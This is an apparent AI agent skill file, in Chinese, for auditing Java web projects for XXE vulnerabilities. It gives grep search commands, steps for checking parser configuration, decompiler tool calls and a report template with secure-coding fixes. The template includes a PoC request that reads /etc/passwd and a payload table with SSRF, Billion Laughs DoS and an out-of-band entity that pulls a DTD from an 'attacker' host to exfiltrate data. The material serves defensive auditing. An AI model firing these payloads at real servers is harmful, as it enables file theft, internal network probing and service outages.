java-xxe-audit
SKILL.md
Java XXE 漏洞审计工具
分析 Java Web 项目源码,识别 XML 解析实现,检测 XXE (XML External Entity) 注入漏洞风险。
核心要求
此技能必须完整分析所有 XML 解析相关代码,不允许省略。
- ✅ 识别所有 XML 解析入口点(5 种解析器)
- ✅ 分析每个解析器的外部实体防护配置
- ✅ 追踪 XML 输入来源(用户可控性)
- ✅ 检测回显点(数据是否返回给用户)
- ✅ 为每个风险点提供验证 PoC
- ❌ 禁止省略任何 XML 解析操作
- ❌ 禁止跳过反编译步骤
漏洞分级标准
- 漏洞编号格式:
{C/H/M/L}-XXE-{序号} - 严重等级 = f(可达性 R, 影响范围 I, 利用复杂度 C)
- Score = R × 0.40 + I × 0.35 + C × 0.25,映射 CVSS 3.1
| 前缀 | CVSS 3.1 | 含义 |
|---|---|---|
| 🔴 C | 9.0-10.0 | 可直接导致系统沦陷 |
| 🟠 H | 7.0-8.9 | 可造成重大损害 |
| 🟡 M | 4.0-6.9 | 可造成一定损害 |
| 🔵 L | 0.1-3.9 | 安全加固建议 |
技能协作流程(CRITICAL)
java-xxe-audit 应在 java-route-mapper 之后执行,基于已梳理的路由信息进行审计。
┌─────────────────────────────────────────────────────────────────┐
│ 完整审计流程 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ [步骤1] java-route-mapper │
│ │ │
│ │ 输出: │
│ │ ├─ 所有 HTTP 路由列表 │
│ │ ├─ 每个路由的参数定义 │
│ │ └─ Content-Type 识别(application/xml, text/xml) │
│ │ │
│ ↓ │
│ [步骤2] java-xxe-audit(本技能) │
│ │ │
│ │ 输入:java-route-mapper 的输出 │
│ │ │
│ │ 执行: │
│ │ ├─ 快速扫描 XML 解析类 │
│ │ ├─ 分析解析器安全配置 │
│ │ ├─ 追踪 XML 输入来源 │
│ │ └─ 检查回显路径 │
│ │ │
│ ├─── 需要深入追踪 ───→ java-route-tracer │
│ │ │ │
│ │ ←── 返回调用链信息 ────┘ │
│ │ │
│ ↓ │
│ [步骤3] 输出综合审计报告 │
│ │
└─────────────────────────────────────────────────────────────────┘
输入依赖(来自 java-route-mapper)
在开始审计前,应先检查是否已有 java-route-mapper 的输出文件:
{project_name}_audit/
├── route_mapper/
│ └── {route_name}/
│ └── {project_name}_routes_{timestamp}.md ← 检查此文件
└── xxe_audit/
└── {route_name}/
└── {project_name}_xxe_audit_{timestamp}.md ← 本技能输出
如果 route_mapper 输出不存在,建议先运行:
Skill(skill="java-route-mapper", args="--project {project_path}")
从 route_mapper 获取的关键信息
| 信息 | 用途 |
|---|---|
| 路由路径 | 定位 Controller/Servlet 入口 |
| Content-Type | 识别接受 XML 输入的端点 |
| 参数来源 | 识别 getInputStream() 等原始输入 |
| 请求方法 | POST 方法更可能接受 XML Body |
工作流程(三阶段)
阶段1: 快速扫描(优先执行)
目标:快速定位所有 XML 解析点和高危文件。
# 1.1 搜索 XML 解析器创建
grep -ri "XMLReaderFactory.createXMLReader" --include="*.java"
grep -ri "new SAXBuilder" --include="*.java"
grep -ri "new SAXReader" --include="*.java"
grep -ri "SAXParserFactory.newInstance" --include="*.java"
grep -ri "DocumentBuilderFactory.newInstance" --include="*.java"
# 1.2 搜索 XML 解析执行点
grep -ri "\.parse\s*(" --include="*.java"
grep -ri "\.build\s*(" --include="*.java"
grep -ri "\.read\s*(" --include="*.java"
# 1.3 搜索 XML 输入来源
grep -ri "getInputStream" --include="*.java"
grep -ri "InputSource" --include="*.java"
grep -ri "StringReader" --include="*.java"
grep -ri "StreamSource" --include="*.java"
# 1.4 搜索安全配置(判断是否已防护)
grep -ri "disallow-doctype-decl" --include="*.java"
grep -ri "external-general-entities" --include="*.java"
grep -ri "external-parameter-entities" --include="*.java"
grep -ri "setFeature" --include="*.java"
grep -ri "setExpandEntityReferences" --include="*.java"
# 1.5 搜索其他 XML 相关类
grep -ri "TransformerFactory" --include="*.java"
grep -ri "SchemaFactory" --include="*.java"
grep -ri "XMLInputFactory" --include="*.java"
grep -ri "Unmarshaller\|JAXBContext" --include="*.java"
输出:高危文件清单(按优先级排序)
| 优先级 | 文件类型 | 审计重点 |
|---|---|---|
| P0 | 直接使用 getInputStream() + XML 解析 |
用户可控 XML 直接解析 |
| P1 | Servlet/Controller 中的 XML 处理 | HTTP 入口处的 XML 解析 |
| P2 | XML 工具类 *XmlUtil*.java |
通用 XML 解析方法 |
| P3 | WebService/SOAP 处理类 | SOAP XML 解析 |
阶段2: 解析器安全配置分析
对阶段1发现的每个 XML 解析点,逐一检查安全配置。
2.1 解析器识别与配置检查
对每个解析器实例,检查是否设置了以下防护特性:
| 防护特性 | Feature URI | 作用 |
|---|---|---|
| 禁止 DOCTYPE | http://apache.org/xml/features/disallow-doctype-decl |
最严格,推荐 |
| 禁止外部通用实体 | http://xml.org/sax/features/external-general-entities |
禁用外部实体引用 |
| 禁止外部参数实体 | http://xml.org/sax/features/external-parameter-entities |
禁用参数实体 |
| 禁止外部 DTD 加载 | http://apache.org/xml/features/nonvalidating/load-external-dtd |
禁止加载外部 DTD |
详细检测规则参见各解析器参考文档:
| 解析器 | 参考资料 |
|---|---|
| XMLReader | PARSERS.md - XMLReader 章节 |
| SAXBuilder (JDOM2) | PARSERS.md - SAXBuilder 章节 |
| SAXReader (dom4j) | PARSERS.md - SAXReader 章节 |
| SAXParserFactory | PARSERS.md - SAXParserFactory 章节 |
| DocumentBuilderFactory | PARSERS.md - DocumentBuilderFactory 章节 |
2.2 XML 输入来源追踪
对每个 XML 解析点,追踪输入来源:
HTTP 请求体: request.getInputStream()
↓
InputSource / StringReader / StreamSource
↓
XMLReader.parse() / SAXBuilder.build() / SAXReader.read() / ...
↓
解析结果: Document / Element / Node
↓
回显: response.getWriter().write() / model.addAttribute() / ...
| 输入来源 | 用户可控性 | 风险等级 |
|---|---|---|
request.getInputStream() |
完全可控 | 高危 |
request.getParameter("xml") |
完全可控 | 高危 |
@RequestBody String xml |
完全可控 | 高危 |
MultipartFile.getInputStream() |
完全可控 | 高危 |
| 数据库读取的 XML 字段 | 间接可控 | 中危 |
| 配置文件/硬编码 XML | 不可控 | 低 |
2.3 回显路径检查
XXE 利用方式取决于是否有回显:
| 回显方式 | 利用类型 | 检测方法 |
|---|---|---|
| 解析结果写入 HTTP 响应 | 有回显 XXE | 搜索 response.getWriter(), getText(), getTextContent() |
| 解析结果写入页面模型 | 有回显 XXE | 搜索 model.addAttribute(), request.setAttribute() |
| 解析结果仅做逻辑处理 | Blind XXE (OOB) | 需通过外部 DTD 外带数据 |
| 解析但无任何输出 | Blind XXE (OOB) | 需通过外部 DTD 外带数据 |
阶段3: 深入分析与报告
3.1 触发 java-route-tracer
当发现以下情况时,调用 java-route-tracer 获取完整调用链:
| 触发条件 | 调用方式 |
|---|---|
| XML 输入经过多层传递 | Skill(skill="java-route-tracer", args="--route {route}") |
| 解析器在工具类/基类中 | Skill(skill="java-route-tracer", args="--route {route}") |
| 回显路径不明确 | Skill(skill="java-route-tracer", args="--route {route}") |
3.2 生成报告
整合所有分析结果,生成综合审计报告。
XML 解析器识别
| 解析器 | 识别特征 | 所属包/依赖 | 参考资料 |
|---|---|---|---|
| XMLReader | XMLReaderFactory.createXMLReader(), xmlReader.parse() |
org.xml.sax (JDK 内置) |
PARSERS.md |
| SAXBuilder | new SAXBuilder(), saxBuilder.build() |
org.jdom2 (jdom2) |
PARSERS.md |
| SAXReader | new SAXReader(), reader.read() |
org.dom4j.io (dom4j) |
PARSERS.md |
| SAXParserFactory | SAXParserFactory.newInstance(), .getXMLReader().parse() |
javax.xml.parsers (JDK 内置) |
PARSERS.md |
| DocumentBuilderFactory | DocumentBuilderFactory.newInstance(), builder.parse() |
javax.xml.parsers (JDK 内置) |
PARSERS.md |
其他可能受 XXE 影响的组件
| 组件 | 识别特征 | 风险说明 |
|---|---|---|
| TransformerFactory | TransformerFactory.newInstance() |
XSLT 处理可触发 XXE |
| SchemaFactory | SchemaFactory.newInstance() |
XML Schema 验证可触发 XXE |
| XMLInputFactory (StAX) | XMLInputFactory.newInstance() |
StAX 解析器可触发 XXE |
| JAXB Unmarshaller | JAXBContext.newInstance(), unmarshaller.unmarshal() |
XML 反序列化可触发 XXE |
反编译阶段(CRITICAL)
当源码不可用时,必须使用 MCP Java Decompiler 反编译 XML 解析相关类。
详细策略参见 DECOMPILE_STRATEGY.md
反编译工具调用
# 反编译单个 XML 处理类
mcp__java-decompile-mcp__decompile_file(
file_path="/path/to/XmlParser.class",
output_dir="/path/to/decompiled",
save_to_file=True
)
# 反编译 XML 处理相关目录
mcp__java-decompile-mcp__decompile_directory(
directory_path="/path/to/WEB-INF/classes/com/example/util",
output_dir="/path/to/decompiled",
recursive=True,
save_to_file=True,
max_workers=4
)
# 反编译多个指定文件
mcp__java-decompile-mcp__decompile_files(
file_paths=[
"/path/to/XmlUtil.class",
"/path/to/XmlParser.class",
"/path/to/SoapHandler.class"
],
output_dir="/path/to/decompiled",
save_to_file=True
)
必须反编译的类
| 类型 | 匹配模式 | 目的 |
|---|---|---|
| XML 工具类 | *Xml*.class, *XML*.class, *Parser*.class |
提取 XML 解析逻辑 |
| Servlet | *Servlet.class, *Controller.class |
追踪输入来源 |
| WebService | *WebService*.class, *Soap*.class, *WS*.class |
SOAP XML 处理 |
| 过滤器 | *Filter.class |
XML 请求预处理 |
XXE 检测规则速查
⚠️ 危险模式(无安全配置的解析器)
| 解析器 | 危险代码 | 风险说明 |
|---|---|---|
| XMLReader | XMLReaderFactory.createXMLReader() 后直接 parse() |
未禁用外部实体 |
| SAXBuilder | new SAXBuilder() 后直接 build() |
未禁用外部实体 |
| SAXReader | new SAXReader() 后直接 read() |
未禁用外部实体 |
| SAXParserFactory | SAXParserFactory.newInstance() 后直接 parse() |
未禁用外部实体 |
| DocumentBuilderFactory | DocumentBuilderFactory.newInstance() 后直接 parse() |
未禁用外部实体 |
✅ 安全模式(已配置防护)
所有解析器的安全修复方式一致——禁用 DOCTYPE 或外部实体:
// 方式1: 禁止 DOCTYPE 声明(最严格,推荐)
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 方式2: 分别禁用外部实体
setFeature("http://xml.org/sax/features/external-general-entities", false);
setFeature("http://xml.org/sax/features/external-parameter-entities", false);
setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
⚠️ 输入来源检测(CRITICAL - 确认用户可控性)
必须搜索的输入来源模式:
# HTTP 请求体
grep -ri "getInputStream" --include="*.java"
grep -ri "getReader" --include="*.java"
# 参数传入 XML
grep -ri "getParameter.*xml\|getParameter.*XML" --include="*.java"
# Spring 注解
grep -ri "@RequestBody" --include="*.java"
# 文件上传
grep -ri "MultipartFile" --include="*.java" | grep -i "xml"
# SOAP/WebService
grep -ri "@WebService\|@WebMethod" --include="*.java"
数据流追踪(需要时加载 java-route-tracer)
何时需要参数追踪
| 场景 | 说明 | 操作 |
|---|---|---|
| XML 输入经过多层传递 | HTTP 请求体经 Controller → Service → Util 多层传递后解析 | 加载 java-route-tracer |
| 解析器在工具类中 | XML 解析在通用 XmlUtil 类中,多处调用 | 加载 java-route-tracer |
| 回显路径不明确 | 解析结果经过多次转换后输出 | 加载 java-route-tracer |
| SOAP 处理链 | WebService 请求经拦截器/处理器链 | 加载 java-route-tracer |
自动触发 java-route-tracer
# 当需要追踪 XML 输入流向时
Skill(
skill="java-route-tracer",
args="--route {controller_route} --project {project_path}"
)
报告生成
输出单个综合审计报告文件:
{project_name}_audit/xxe_audit/
└── {route_name}/
└── {project_name}_xxe_audit_{timestamp}.md # 综合审计报告
路由名说明:
- 路由名从路由路径提取,去掉前缀斜杠和特殊字符
- 例如:
/api/xml/parse→api_xml_parse - 例如:
/ws/soap/endpoint→ws_soap_endpoint
输出格式
综合报告模板({project_name}xxe_audit{timestamp}.md)
# {项目名称} - XXE 漏洞审计报告
生成时间: {timestamp}
分析路径: {project_path}
---
## 1. 审计概述
| 项目 | 信息 |
|------|------|
| 审计范围 | {project_path} |
| XML 解析器 | {XMLReader/SAXBuilder/SAXReader/SAXParserFactory/DocumentBuilderFactory} |
| 分析方法 | 静态代码审计 + 数据流分析 |
---
## 2. 风险统计
| 严重等级 | CVSS | 数量 | 说明 |
|----------|------|------|------|
| 🔴 C (Critical) | 9.0-10.0 | {count} | 可直接导致系统沦陷 |
| 🟠 H (High) | 7.0-8.9 | {count} | 可造成重大损害 |
| 🟡 M (Medium) | 4.0-6.9 | {count} | 可造成一定损害 |
| 🔵 L (Low) | 0.1-3.9 | {count} | 安全加固建议 |
---
## 3. XML 解析器映射表
| 序号 | 类名 | 方法 | 解析器类型 | 输入来源 | 安全配置 | 可利用性 |
|------|------|------|-----------|----------|----------|----------|
| 1 | XmlParser | parse | SAXReader | getInputStream() | ❌ 未配置 | ✅ 可利用 |
| 2 | ConfigLoader | loadConfig | DocumentBuilderFactory | 文件系统 | ✅ 已防护 | - |
---
## 4. 高危风险详情
### [{C/H/M/L}-XXE-{序号}] {风险标题}
| 项目 | 信息 |
|------|------|
| 严重等级 | {🔴/🟠/🟡/🔵} {Critical/High/Medium/Low} (CVSS {score}) |
| 可达性 (R) | {0-3} - {判定理由} |
| 影响范围 (I) | {0-3} - {判定理由} |
| 利用复杂度 (C) | {0-3} - {判定理由} |
| 可利用性 | ✅ 已确认 / ⚠️ 待验证 / 🔍 Blind XXE |
| 位置 | {ClassName.method} ({file}:{line}) |
| 解析器 | {XMLReader/SAXBuilder/SAXReader/SAXParserFactory/DocumentBuilderFactory} |
| 输入来源 | {request.getInputStream() / getParameter / ...} |
| 回显方式 | {HTTP 响应 / 页面模型 / 无回显} |
#### 漏洞代码
\```java
// 危险代码片段
SAXReader reader = new SAXReader();
Document doc = reader.read(request.getInputStream());
Element root = doc.getRootElement();
response.getWriter().write(root.element("user").getText());
\```
#### 数据流分析
\```
用户输入: POST /api/xml/parse (Content-Type: application/xml)
↓
输入获取: request.getInputStream()
↓
XML 解析: SAXReader.read(inputStream) ← 未设置安全特性
↓
数据提取: root.element("user").getText()
↓
回显输出: response.getWriter().write() ← 回显到 HTTP 响应
\```
#### 验证 PoC
\```http
POST /api/xml/parse HTTP/1.1
Host: {{host}}
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<user>&xxe;</user>
</root>
\```
#### 建议修复
\```java
SAXReader reader = new SAXReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Document doc = reader.read(request.getInputStream());
\```
---
## 5. 验证 Payload 参考
| 利用类型 | 测试 Payload | 预期结果 |
|----------|--------------|----------|
| 文件读取 | `<!ENTITY xxe SYSTEM "file:///etc/passwd">` | 返回文件内容 |
| SSRF | `<!ENTITY xxe SYSTEM "http://internal:8080">` | 触发内网请求 |
| Blind XXE (OOB) | `<!ENTITY % dtd SYSTEM "http://attacker/evil.dtd">` | 外带数据到攻击者服务器 |
| DoS (Billion Laughs) | 嵌套实体递归 | 服务器内存耗尽 |
| 目录列表 (Java) | `<!ENTITY xxe SYSTEM "file:///path/">` | Java 环境可列目录 |
---
## 6. 审计结论
| 统计项 | 数量 |
|--------|------|
| 总 XML 解析点 | {count} |
| 🔴 Critical | {count} |
| 🟠 High | {count} |
| 🟡 Medium | {count} |
| 🔵 Low | {count} |
| 安全(已防护) | {count} |
验证检查清单
在标记审计完成前,必须执行以下检查:
代码分析检查
- 所有 XML 解析类已分析
- 所有 5 种解析器类型均已搜索
- 每个解析器实例的安全配置已检查
输入来源检查
- 追踪了每个解析器的 XML 输入来源
- 确认了输入是否用户可控
- 检查了回显路径
漏洞检测检查
- 所有无防护的解析器已标记
- 所有用户可控输入已追踪
- 区分了有回显 XXE 和 Blind XXE
报告完整性检查
- 综合审计报告已生成
参考资料
- PARSERS.md - 五种 XML 解析器详细检测规则
- DECOMPILE_STRATEGY.md - 反编译策略指南
Weekly Installs
2
Repository
ruoji6/java-audit-skillsGitHub Stars
269
First Seen
4 days ago
Security Audits
Installed on
trae2
claude-code2
github-copilot2
codex2
kimi-cli2
gemini-cli2